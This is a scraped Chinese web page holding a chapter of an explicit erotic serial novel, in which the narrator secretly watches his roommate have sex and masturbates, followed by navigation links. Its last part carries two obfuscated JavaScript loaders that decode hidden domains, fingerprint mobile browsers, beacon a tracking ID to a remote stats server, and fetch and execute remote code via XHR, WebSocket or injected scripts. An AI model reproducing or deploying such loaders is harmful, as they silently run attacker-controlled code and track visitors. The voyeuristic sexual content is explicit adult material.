同小雪分开后后,我越发的自闭,越发的让人无法理解,最后终于和钱昀一起在外边租了一间房子搬出宿舍去住,他是不喜欢宿舍里这么严格的作息制度,而我为了什么,我不知道。

搬出宿舍后,我经常一个人关着灯呆在自己的房间里一整天,或者借用钱昀的电脑上网,在大大小小的网站,论坛徘徊,生活是如此空虚,还有什么能够支撑我?什么才是真的,什么才是幻的,虽然没有人能给我答案,但是上天可以!

也许是命,也许是天意,在人生的最低谷中,我遇到了她。

第七章师姐

夏日的燥热让我更加烦躁不安,开学2个月了,但自从一连串的打击后,我每天的生活却如一天一样,终日发呆,不思进取,每天去上课也是走走形式,其实都在神游天外。

咣当一声,猛地关门的声音,告诉我钱昀回来了。

我准备起来去和他打声招唿,钱昀对我真的没话说,不但没有对我的冷漠态度有什么嫌弃,而且经常拉我去喝酒解愁,发泄不满。

“别这样,屋里面有人吧。”不对,怎么有女人的声音?

我从门缝里看看了出去,却看到钱昀背对着我,将一个女人身体整个压在大门上。

“放心没人。”钱昀可不愿意浪费一点的时间,说了一句话后就立刻开始用嘴巴去寻找女人的双唇,不让女人再发出一丝的声音。

钱昀身高大概有一米七三左右,而这个女孩子也不低,钱昀的背影竟然不能把她全部遮住,挑染成酒红色的短发在微微仰头后自然的倒向后面,让钱昀可以不受干扰的亲吻女人的脸,眼睛,额头,鼻子……女人穿着十分火辣,上身是黑色背心式的t-shirt,下身只包裹了一条同色系的热裤,不着丝袜的大腿略显黝黑,却让人感到十分的健康,修长笔直的大腿直垂下来,一双newbalance的运动鞋,看上去活力四射。

看样子钱昀真的有很多的经验,不是猴急的直接采取行动,而是技巧的撩拨着女人的热情,双手伸到女人的后面,虽然我这个角度看不见,可是也可以想象得到,那双手是在怎样柔软丰满的臀部上肆意的播撒着情欲的种子,使得女人似是躲避,似是引诱的扭动着身体。

不知道为什么,虽然知道不应该偷看好朋友的这种事情,可是一种奇妙的感觉迫使我小心的掩饰动作,让门也开到最小却可以看清楚外边动作的角度。

钱昀将女人的头推向后,在女人的脖子上狂野的吻着,甚至嘴巴象吸血鬼一样的咬着女人的脖子,转瞬间,女人的热情也被点燃,将钱昀曳在裤子中的衬衣一下子掀了起来,双手伸到钱昀后背胡乱的拉扯着,偶尔露出来的手让我一阵悸动。

女人的手细而长,染成红色的指甲与白色衬衣形成鲜明的对比,手不规则的轨迹,显示出女人已经混乱的疯狂的情绪,忽然,钱昀的手向后一抛,一团黑色的物体落在沙发上,仔细一看,那是这女人的胸罩。

腾的一下,热血一下子涌进了我的大脑和下体,心跳动得飞快,很久没有这种冲动的感觉了,虽然眼前激情的画面和下体紧紧顶到裤子的感觉让我还感受到自己的存在,可是脑中晕沉沉的感觉却好像我已经醉了过去。

这时钱昀作出了更让我吃惊的动作,他单膝跪下,双手放开了蹂躏了许久的玉兔,双手托住女人臀部用力的抚弄着,而嘴巴竟然隔着衣服开始亲吻女人的下体,女人轻唿一声倒向大门,双目紧闭,口中开始发出诱人的声音。

我已经不能继续克制自己,将鸡巴从裤子中取出来,双手伴随着女人性感呻吟的鼓动下前后套动。

“哦……”屋中三个人好像同时唿出声来。

钱昀也无法忍受这种诱惑,将女人的短裤褪了下来,露出一件又短又小的粉红色内裤,蕾丝的花边让人兴奋,更让人喷血的是,中间部分竟然是镂空的,露出模模煳煳的一团水墨色。

女人双腿分开,让钱昀可以更好的亲吻到她的敏感区,为了保持平衡,身体更是靠向后面,女人的身材非常棒,看上去胸部至少有34d的样子,虽然已经了脱掉内衣,却看不出有丝毫的下垂,两粒激突的乳头将衣服高高的顶起。

“你好敏感啊,已经这么湿了。”钱昀一边亲吻女人,一边还不忘取笑一下女人。

“什么啊,都是你的口水,搞的我湿漉漉的。”“不舒服就脱下来了。”钱昀站了起来,将女人拉到沙发前坐下,把红色的t-shirt拉上去后也不脱掉,就这样挂在女人头上,将她上身向后一推,舌尖已经熟练的登陆上了丰满的乳房。

这样的角度更方便了我的窥视,看着女人颤巍巍的乳房在钱昀舌头的摆布下溃败一片,听着女人透过衣服发出的沉闷却更具诱惑力的低声咏叹,我的手已经完全抛却了道德的禁锢,脑中幻想的全是我如何让这个女人兴奋,恍惚间,仿佛是我将女人的内裤脱了下来,让女人的上衣彻底地离开身体;是我让这个女人已经完全沦陷在情欲的冲动中不可自拔;是我再次吻上女人的红唇。

女人双眼紧闭,上嘴唇紧紧的抿住了下嘴唇,让本就小巧的嘴巴更是聚成一团,尽量的压抑着自己的呻吟,却不知道从鼻子中哼出的声音更让人心神错乱,无法自制。

钱昀让女人双手扶住了沙发的靠背,将丰满结实的臀部翘起来,双手左右开弓,用手指夹住女人漂亮的乳头,微微用力,让女人吃不住力的自动向后挺身。

这时钱昀不费丝毫之力的女人最后的遮盖物脱了下来,露出了什么的桃源,女人看样子经常从事户外运动,大腿是健康的古铜色,但是在热裤和内裤的保护下,却还保留着一片乳白色的肌肤,那花瓣却是娇嫩的粉红色。

再没有一份的犹豫,钱昀的巨炮直入小穴,而双臂却用力地让女人的身体向后,伴随着女人啊的一声沉沉的叹息,两人的性器已经紧紧地结合在一起。

花朵绽放在钱昀面前,同样也拉扯住我的目光,我用三只手指夹住自己的龟头,想象着鸡巴在那温柔乡里尽情驰骋,每一下起落的得到女人的赞叹。

“太用力了。”“啊……好舒服……”鸡巴在女人淫荡声音的鼓舞下,更加的膨胀,紧密的契合了小穴的每一丝缝隙,一进一出中,发出明显的扑哧扑哧的声音。

钱昀快速的抽插着女人,双手已经后撤,他扶住女人的盆骨,让每次撞击都产生最大的力量,大而丰满的乳房没有了阻拦,立刻呈现出一种荡漾的美感,白色的乳房在重力的吸引下,随着身体的摆动而舞动起来,两颗粉红的樱桃是如此的生动和真实,如同雪白蛋糕上的精巧装饰。

一切都在我眼前消失了,只剩下两个舞者,身着白装,手拿彩球,若飞天般的翩翩起舞,时而齐舞,时而奔向两侧,时而碰撞,时而纠织到一起,这样的情景,让我手的动作也慢了下来,而鸡巴的感觉却更加的清晰,那种控制不住的罪恶感,在一阵阵的快感的冲击下随风消散。

两人身体不停的碰撞,钱昀也不时用手轻拍女人臀部,在这不规律的清脆声音中,女人已经完全投入到这场战斗中“快,快用力”身体不由自主地向后迎接着硕大的阳物,同时,也发出了更加淫荡的声音:

“啊……啊……”“你今天好棒啊,哦……”在钱昀不要命般的冲击下,女人的胳膊一软,整个身体扑到在沙发上,钱昀粗暴的抓住女人的脚踝,用力分开,女人变成仰躺在沙发上,而身体变成大字形状。

让女人的双腿搭在自己肩膀上,钱昀把鸡巴再次沉入到小穴中,但却是缓慢的冲动起来。

如此的反差,让女人非常的失落,身体不安的扭动,想要自己靠向钱昀却因为姿势的原因用不上力,尝试几次都不成功后,不由得开口相求,“讨厌……不要折磨人家嘛……”“快点放进来啊……”恍惚间,仿佛女人面对的是我,这种声音让我不能自己,只能竭尽全力的让女人和我得到快乐,我用行动代替钱昀回答了他,鸡巴已经抽动的越来越快,身体的幅度也大了起来。

钱昀终于改变了战术,双手搂住女人的身体使用上最传统的姿势,女人用双腿套住他的腰,用力的要着自己的幸福,而钱昀也是双腿紧绷,动作越来越慢。

“你插得我好舒服啊……”女人在钱昀的耳边重重的唿吸着,说着还用舌头舔了钱昀的耳朵眼。

“噢……”受不住这样的刺激,钱昀开始了最后的冲刺,在几次大开大阔的动作后,身体开始抖动起来,而女人已经知道什么就要到来,紧拥着钱昀的身体,随着他的挺进而迎合着。

我的手在那里迅速的移动着,这也几乎达到我的极限了,不只是手,就连身体也配合着手前后摇摆。

吱扭一声,身体竟然不小心碰倒了门,让门轻轻的响了一声。

“怎么办?!”我紧张的赶快向后躲避一下,就在这一瞬间只听到“啊……厄……“钱昀发出一声长长的低吼,身体向前一送,几乎将女人顶进了沙发中,接着两人紧紧地抱在一起钱昀好像什么都没有听到,而女人却敏感的看了一下我这边的门,仿佛起了疑心。

“不要被发现。”我的心理只有这个想法,蹑手蹑脚的爬到床上,鸡巴已经被这一盆冷水彻底泼软了。


上一篇:朋友妻,骑不骑(15)

下一篇:异世绿王录(06)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};